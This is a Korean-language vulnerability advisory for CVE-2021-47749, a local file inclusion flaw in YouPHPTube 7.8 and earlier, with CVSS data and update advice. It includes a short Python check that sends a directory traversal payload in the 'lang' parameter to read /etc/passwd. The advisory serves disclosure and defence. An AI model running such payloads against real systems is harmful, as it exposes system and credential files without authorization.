🔍 CVE-2021-47749

6.2
CVSS Score
MEDIUM
2026-01-13
2026-01-14 20:15
✅ 완료

🇰🇷 한글 설명

YouPHPTube 7.8 이하 버전에서 로컬 파일 포함 취약점이 존재하여 인증되지 않은 공격자가 'lang' 파라미터를 조작하여 임의의 파일에 접근할 수 있습니다. 경로 조작 취약점을 이용하여 PHP 파일을 외부에서 포함하여 볼 수 있습니다.

💡 쉬운 설명

YouPHPTube를 사용하는 웹사이트에서 파일을 외부에서 포함할 수 있는 취약점이 발견되었습니다. 이는 공격자가 중요한 파일을 열람할 수 있는 취약점입니다. YouPHPTube의 버전을 확인하고 업데이트하세요.

🇺🇸 원문 (English)

YouPHPTube <= 7.8 contains a local file inclusion vulnerability that allows unauthenticated attackers to access arbitrary files by manipulating the 'lang' parameter in GET requests. Attackers can exploit the path traversal flaw in locale/function.php to include and view PHP files outside the intended directory by using directory traversal sequences.

📍 영향받는 시스템

YouPHPTube 7.8 이하 버전

⚔️ 공격 벡터

GET 요청의 'lang' 파라미터 조작

🛡️ 대응 방법

YouPHPTube를 최신 버전으로 업데이트하세요.

🔧 검증 코드

로컬 YouPHPTube 설치 환경에서 테스트하세요. Python과 requests 라이브러리가 필요합니다. YouPHPTube의 URL과 로컬 파일 시스템의 경로를 수정하여 테스트하세요.

Shell / Script
import requests
url = 'http://localhost/youphptube/locale/function.php'
params = {'lang': '../../../../../../../../etc/passwd'}
response = requests.get(url, params=params)
if 'root:' in response.text:
    print({"result": "취약", "reason": "패스워드 파일 내용이 노출됨"})
else:
    print({"result": "양호", "reason": "패스워드 파일 내용이 노출되지 않음"})

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

💻 영향받는 소프트웨어

PHP